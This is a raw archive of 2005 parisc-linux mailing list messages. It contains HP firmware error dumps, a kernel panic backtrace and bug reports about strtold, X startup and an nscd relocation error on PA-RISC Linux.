Firmware Version  1.9

Duplex Console IO Dependent Code (IODC) revision 0

------------------------------------------------------------------------------
   (c) Copyright 1990-1996, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  ---------  --------   ---------------------  -----------------  ----------

      0      120  MHz   Active                 Functional            1 M
      1      120  MHz   Idle                   Functional            1 M

  Central Bus Speed (in MHz)  :        120  
  Available Memory (bytes)    :  671088640  
  Good Memory Required (bytes):   26382336  


   Primary boot path:    core.FWSCSI.6.0
   Alternate boot path:  core.FWSCSI.6.0
   Console path:         core.RS232_A.9600.8.none
   Keyboard path:        core.RS232_A.9600.8.none


Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


------- Main Menu -------------------------------------------------------------

        Command                         Description
        -------                         -----------

        BOot [PRI|ALT|<path>]           Boot from specified path
        PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
        SEArch [DIsplay|IPL] [<path>]   Search for boot devices

        COnfiguration menu              Displays or sets boot values
        INformation menu                Displays hardware information
        SERvice menu                    Displays service commands

        DIsplay                         Redisplay the current menu
        HElp [<menu>|<command>]         Display help for menu or command
        RESET                           Restart the system
-------
Main Menu: Enter command or menu > ser

------- Service Menu ----------------------------------------------------------

        Command                         Description
        -------                         -----------

        MemRead <address> [<len>]       Read memory and I/O locations
        PIM [<proc>] [HPMC|LPMC|TOC]    Display PIM information
        PDT [CLEAR]                     Display or clear the Page Deallocation
                                        Table
        ChassisCodes [<proc>]           Display chassis codes

        BOot [PRI|ALT|<path>]           Boot from specified path
        DIsplay                         Redisplay the current menu
        HElp [<command>]                Display help for specified command
        RESET                           Restart the system
        MAin                            Return to Main Menu
-------
Service Menu: Enter command > pim

PROCESSOR PIM INFORMATION


-----------------  Processor 0 HPMC Information ------------------

Timestamp =    Sun Dec  25 12:44:10 GMT 2005    (20:05:12:25:12:44:10)

HPMC Chassis Codes = 0xcbf0  0x5007  0x5509  0xcbfb  

General Registers 0 - 31
 0 -  3  0x00000000  0x10104000  0x102843d0  0x3737f2a0  
 4 -  7  0x40000032  0x10ca2600  0x000000b0  0x10ca26e4  
 8 - 11  0x36d89ea0  0x800100b0  0x000041e1  0x3737f000  
12 - 15  0x00052010  0x10450810  0x3737f000  0x0002fef0  
16 - 19  0x80010080  0x000dd024  0x00000000  0xf3fc8064  
20 - 23  0xf3fc806c  0x220e020e  0x102843a8  0x3737f000  
24 - 27  0x020e2202  0x0000000f  0x10ca26f0  0x103f7010  
28 - 31  0x0000000f  0x00000078  0x35f48c80  0x10117ba8  

Control Registers 0 - 31
 0 -  3  0x00000000  0x00000000  0x00000000  0x00000000  
 4 -  7  0x00000000  0x00000000  0x00000000  0x00000000  
 8 - 11  0x00000e16  0x00000000  0x000000c0  0x0000001f  
12 - 15  0x00000000  0x00000000  0x0010d800  0x00000000  
16 - 19  0xbfd20fc4  0x00000000  0x102843e0  0x0c800184  
20 - 23  0x00000000  0xf3fc806c  0x0004fa0e  0x80000000  
24 - 27  0x00447000  0x25e3e000  0x00113040  0x00080000  
28 - 31  0x02000000  0x01280140  0x35f48000  0x10458000  

Space Registers 0 - 7
 0 -  3  0x00000000  0x00000000  0x00000000  0x0000070b  
 4 -  7  0x00000000  0x00000000  0x00000000  0x00000000  


 <Press any key to continue>                                                                  IIA Space                    = 0x00000000
IIA Offset                   = 0x102843e4
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0020000c
Assists Check                = 0x00000000
Assist State                 = 0x00000000
System Responder Address     = 0xfffa0000
System Requestor Address     = 0x00000000
Path Info                    = 0x00000000
Physical Memory              = 0x28000000
Available Memory             = 0x28000000

CPU Diagnose Register 0      = 0x20198300
CPU Status Register 0        = 0x0d008007
CPU Status Register 1        = 0x40000404
Runway Address Cycle [0:31]  = 0x08000000
Runway Address Cycle [32:63] = 0x00000000
Slave Address for trans_id 0 = 0xf3fc8060
Slave Address for trans_id 2 = 0x27220484
Slave Address for trans_id 3 = 0x272204e4
Slave Address for trans_id 4 = 0x0044722d
Slave Address for trans_id 5 = 0x25f48d0e
Slave Address for trans_id 6 = 0x0042194d
Slave Address for trans_id 7 = 0x00c46ecd

 <Press any key to continue>                                                                  
-----------------  Processor 0 LPMC Information ------------------

Check Type                   = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
System Responder Address     = 0x00000000
System Requestor Address     = 0x00000000
Path Info                    = 0x00000000

-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
 0 -  3  0x00000000  0xfff0bdc0  0x10132eac  0x104bc810  
 4 -  7  0x00294834  0x10450c18  0x00000001  0x000f4000  
 8 - 11  0x00000000  0x800100b0  0x000041e1  0x3737f000  
12 - 15  0x00052010  0x10450810  0x3737f000  0x0002fef0  
16 - 19  0x103fc080  0x000dd024  0x00000000  0x9c5ea8f5  
20 - 23  0x00294833  0x364f41d4  0x10132c1c  0x00000000  
24 - 27  0x104bcf3c  0x000f4240  0x07270e00  0x103f7010  
28 - 31  0x9c5ef6de  0x0001d4c0  0x103fc4c0  0x10132ec0  

Control Registers 0 - 31
 0 -  3  0x00000000  0x00000000  0x00000000  0x00000000  
 4 -  7  0x00000000  0x00000000  0x00000000  0x00000000  
 8 - 11  0x00000e16  0x00000000  0x000000c0  0x00000000  
12 - 15  0x00000000  0x00000000  0x0010d800  0x00000000  
16 - 19  0x9c6069e4  0x00000000  0x10132ed8  0x0a7c041c  
20 - 23  0x00000000  0x00004de9  0x0004f90f  0xb0000000  
24 - 27  0x00447000  0x00447000  0x00113040  0x02000000  
28 - 31  0x00080000  0x01280140  0x35f48000  0x10458000  

Space Registers 0 - 7
 0 -  3  0x00000000  0x00000000  0x00000000  0x0000070b  
 4 -  7  0x00000000  0x00000000  0x00000000  0x00000000  

IIA Space                    = 0x00000000
IIA Offset                   = 0x10132edc
CPU State                    = 0x9e000001

 <Press any key to continue>                                                                  
-----------------  Processor 1 HPMC Information ------------------

No valid timestamp

HPMC Chassis Codes = No chassis codes logged

General Registers 0 - 31
 0 -  3  0x00000000  0x00000000  0x00000000  0x00000000  
 4 -  7  0x00000000  0x00000000  0x00000000  0x00000000  
 8 - 11  0x00000000  0x00000000  0x00000000  0x00000000  
12 - 15  0x00000000  0x00000000  0x00000000  0x00000000  
16 - 19  0x00000000  0x00000000  0x00000000  0x00000000  
20 - 23  0x00000000  0x00000000  0x00000000  0x00000000  
24 - 27  0x00000000  0x00000000  0x00000000  0x00000000  
28 - 31  0x00000000  0x00000000  0x00000000  0x00000000  

Control Registers 0 - 31
 0 -  3  0x00000000  0x00000000  0x00000000  0x00000000  
 4 -  7  0x00000000  0x00000000  0x00000000  0x00000000  
 8 - 11  0x00000000  0x00000000  0x00000000  0x00000000  
12 - 15  0x00000000  0x00000000  0x00000000  0x00000000  
16 - 19  0x00000000  0x00000000  0x00000000  0x00000000  
20 - 23  0x00000000  0x00000000  0x00000000  0x00000000  
24 - 27  0x00000000  0x00000000  0x00000000  0x00000000  
28 - 31  0x00000000  0x00000000  0x00000000  0x00000000  

Space Registers 0 - 7
 0 -  3  0x00000000  0x00000000  0x00000000  0x00000000  
 4 -  7  0x00000000  0x00000000  0x00000000  0x00000000  


 <Press any key to continue>                                                                  IIA Space                    = 0x00000000
IIA Offset                   = 0x00000000
Check Type                   = 0x00000000
CPU State                    = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
System Responder Address     = 0x00000000
System Requestor Address     = 0x00000000
Path Info                    = 0x00000000
Physical Memory              = 0x00000000
Available Memory             = 0x00000000

CPU Diagnose Register 0      = 0x00000000
CPU Status Register 0        = 0x00000000
CPU Status Register 1        = 0x00000000
Runway Address Cycle [0:31]  = 0x00000000
Runway Address Cycle [32:63] = 0x00000000
Slave Address for trans_id 0 = 0x00000000
Slave Address for trans_id 2 = 0x00000000
Slave Address for trans_id 3 = 0x00000000
Slave Address for trans_id 4 = 0x00000000
Slave Address for trans_id 5 = 0x00000000
Slave Address for trans_id 6 = 0x00000000
Slave Address for trans_id 7 = 0x00000000

 <Press any key to continue>                                                                  
-----------------  Processor 1 LPMC Information ------------------

Check Type                   = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
System Responder Address     = 0x00000000
System Requestor Address     = 0x00000000
Path Info                    = 0x00000000

-----------------  Processor 1 TOC Information -------------------

General Registers 0 - 31
 0 -  3  0x00000000  0x1044fb80  0x101160bc  0x00000000  
 4 -  7  0x00000000  0x104501ec  0x10cc0100  0x00000001  
 8 - 11  0x10cc0100  0x10450208  0x0004000e  0x10466ba4  
12 - 15  0x000000f2  0x00000001  0x000000fd  0x000000f3  
16 - 19  0x10cc0100  0x00000002  0xf000009c  0x1044fbb0  
20 - 23  0x1044fbb0  0x10451568  0x0000000e  0x00000080  
24 - 27  0x00000004  0x0000000e  0x103a0800  0x103f7010  
28 - 31  0x00000001  0x10cc0100  0x10cc0540  0x1044fbbf  

Control Registers 0 - 31
 0 -  3  0x00000000  0x00000000  0x00000000  0x00000000  
 4 -  7  0x00000000  0x00000000  0x00000000  0x00000000  
 8 - 11  0x00000e16  0x00000000  0x000000c0  0x0000001e  
12 - 15  0x00000000  0x00000000  0x0010d800  0x00000000  
16 - 19  0x2d4ba81c  0x00000000  0x10116338  0xcf829ddd  
20 - 23  0x00000000  0xffffffff  0x002cff0e  0x80000000  
24 - 27  0x00447000  0x25e3e000  0x00000000  0x00080000  
28 - 31  0x00000400  0x00040100  0x10cc0000  0x00400400  

Space Registers 0 - 7
 0 -  3  0x00000000  0x0000070b  0x00000000  0x0000070b  
 4 -  7  0x00000000  0x00000000  0x00000000  0x00000000  

IIA Space                    = 0x00000000
IIA Offset                   = 0x10116334
CPU State                    = 0x9e000001

 <Press any key to continue>                                                                  
Memory Error Log Information

Timestamp =    Sun Dec  25 12:44:10 GMT 2005    (20:05:12:25:12:44:10)


   No memory errors logged

I/O Module Error Log Information

Timestamp =    Sun Dec  25 12:44:12 GMT 2005    (20:05:12:25:12:44:12)

Bus    HPA       Module Type      Path  Slt Md Sev  Estat Requestor  Responder
--- ---------- ---------------- -------- -- -- ---- ----- ---------- ----------
 0  0xfff8a000 I/O Adapter      10        2  2  he   0x3e 0xf3fc8000 0xfbfffffc
 2  0xf3fff000 Bus Converter    10/63    15  3  se   0x07 0xfffa0800 0xf3fc806c
 2  0xf3fc8000 A DMA I/O        10/8      2  0  fe   0x03 0x00000000 0x00000000


Service Menu: Enter command > 

**** Crash #2

Bringing an interface down sometimes triggers a
BUG(). ccio_unmap_single() is passed a NULL dev pointer... May be
tulip related, though my B2000 doesn't exhibit this problem.

eruption:~# ifconfig eth1 down
kernel BUG at drivers/parisc/ccio-dma.c:454!
Backtrace:
 [<10282b1c>] ccio_unmap_single+0x160/0x2f0
 [<00045bb8>] tulip_interrupt+0xb28/0x110c [tulip]
 [<1015f8d8>] handle_IRQ_event+0x5c/0xa4
 [<1015fa8c>] __do_IRQ+0x16c/0x220
 [<10284140>] dino_isr+0x90/0x114
 [<1015f8d8>] handle_IRQ_event+0x5c/0xa4
 [<1015fa8c>] __do_IRQ+0x16c/0x220
 [<1010942c>] do_cpu_irq_mask+0x108/0x1b4
 [<1010e068>] intr_return+0x0/0x1c
 [<1018a668>] nameidata_to_filp+0x44/0x58
 [<10115288>] cpu_idle+0x78/0x90
 [<101a5cf8>] open_namei+0x94/0x980
 [<1018a6c8>] filp_open+0x4c/0x5c
 [<10115278>] cpu_idle+0x68/0x90
 [<1046149c>] start_kernel+0x278/0x2bc

Kernel panic - not syncing: BUG!


I'll try to put the card in another box (B180 or C200) tomorrow to see
if these problems are J-specific or not.

Let me know if I can help in any way.

Regards,

	M.

PS: Happy Xmas to you all.
-- 
And if you don't know where you're going, any road will take you there...
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] strtold
Date: Mon, 26 Dec 2005 14:58:40 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <200512261958.jBQJwex0017907@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623961 17463 80.91.229.3 (22 Nov 2014 02:39:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:21 +0000 (UTC)
Cc: carlos@systemhalted.org,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Dec 2005 20:07:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 26 Dec 2005 21:07:00 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 694A97D661;
	Mon, 26 Dec 2005 13:06:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27675-06; Mon, 26 Dec 2005 13:06:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 443017D65D;
	Mon, 26 Dec 2005 13:06:55 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D6E47D64E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Dec 2005 13:06:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26915-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Dec 2005 13:06:51 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 912BC7D643
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Dec 2005 13:06:51 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	jBQK6nil017975; Mon, 26 Dec 2005 15:06:50 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id jBQJwex0017907;
	Mon, 26 Dec 2005 14:58:40 -0500 (EST)
In-Reply-To: <no.id> from "John David Anglin" at Dec 13, 2005 05:08:48 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MijCYwl/eSEkW76WZHQhaXN1IGRvb0Ad
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23277

With libc6 2.3.5-8:

#include <stdlib.h>
int
main ()
{
  printf ("%Lf\n", strtold ("1", NULL));
    return 0;
}

dave@gsyprf11:~/gcc_test$ gcc -o ld1 ld1.c
dave@gsyprf11:~/gcc_test$ ./ld1
0.000000

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] X startup failure
Date: Mon, 26 Dec 2005 16:34:49 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <200512262134.jBQLYo4v018267@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623961 17467 80.91.229.3 (22 Nov 2014 02:39:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Dec 2005 21:35:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 26 Dec 2005 22:35:02 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2FC317D653;
	Mon, 26 Dec 2005 14:34:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27944-09; Mon, 26 Dec 2005 14:34:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86F887D654;
	Mon, 26 Dec 2005 14:34:56 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3299B7D652
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Dec 2005 14:34:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28086-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Dec 2005 14:34:52 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 795CE7D651
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Dec 2005 14:34:52 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	jBQLYoil018270 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Dec 2005 16:34:51 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id jBQLYo4v018267
	for parisc-linux@lists.parisc-linux.org;
	Mon, 26 Dec 2005 16:34:50 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XQfCYx5yeSEkbL6WZHQhaXN1IGRvb4B6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23278

X no longer starts on my c3k using unstable.  The problem seems
to be:

(EE) FBDEV(0): FBIOPAN_DISPLAY: Invalid argument

XF86Config-4 hasn't changed for at least a year.  Any ideas?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nscd: error while loading shared libraries:
	unexpected reloc type 0x42
Date: Tue, 27 Dec 2005 00:14:45 -0500
Organization: wh0rd.org
Lines: 31
Approved: news@gmane.org
Message-ID: <200512270014.45080.vapier@gentoo.org>
References: <200512262147.jBQLlKKP018323@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623961 17472 80.91.229.3 (22 Nov 2014 02:39:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:21 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2005 05:14:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 27 Dec 2005 06:14:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BEC557D678;
	Mon, 26 Dec 2005 22:14:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30714-09; Mon, 26 Dec 2005 22:14:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC00F7D675;
	Mon, 26 Dec 2005 22:14:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 21D1D7D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Dec 2005 22:14:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30580-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Dec 2005 22:14:41 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [134.68.220.30])
	by free.linux.hp.com (Postfix) with ESMTP id 845097D664
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Dec 2005 22:14:41 -0700 (MST)
Original-Received: from localhost ([127.0.0.1] helo=home.wh0rd.org)
	by smtp.gentoo.org with esmtp (Exim 4.54) id 1Er7AU-0001Oz-0H
	for parisc-linux@lists.parisc-linux.org; Tue, 27 Dec 2005 05:14:38 +0000
Original-Received: (qmail 25784 invoked from network); 27 Dec 2005 00:14:14 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 27 Dec 2005 00:14:14 -0500
User-Agent: KMail/1.9
In-Reply-To: <200512262147.jBQLlKKP018323@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nKjCY/xseSEkJb6WZHQhaXN1IGRvbwCw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23279

On Monday 26 December 2005 16:47, John David Anglin wrote:
> I'm seeing the following error in the boot log:
>
> Fri Nov 25 04:59:01 2005: Starting Name Service Cache Daemon:
> nscd/usr/sbin/nscd
>
> : error while loading shared libraries: unexpected reloc type 0x42
>
> Fri Nov 25 04:59:02 2005: .
>
> I think this is a R_PARISC_PLABEL21L reloc.  GCC doesn't generate these.
> So they must come from an asm or assembly code.  I think libc used this
> reloc for loading the address of the function descriptor of main.

this is because Redhat forces all network daemons to be built at PIEs ... thus 
glibc will build nscd as a PIE by default ... and since PIE doesnt work on 
parisc just yet, you see fun errors like the above

here's the hack patch i wrote Gentoo/hppa:
http://viewcvs.gentoo.org/sys-libs/glibc/files/2.3.4/hppa-no-pie.patch

good news though, when i mentioned this before:
http://lists.parisc-linux.org/pipermail/parisc-linux/2005-July/026865.html
people said it's in the works to be fixed :)
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] nscd: error while loading shared libraries:
	unexpected reloc type 0x42
Date: Mon, 26 Dec 2005 16:47:20 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200512262147.jBQLlKKP018323@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623962 17474 80.91.229.3 (22 Nov 2014 02:39:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
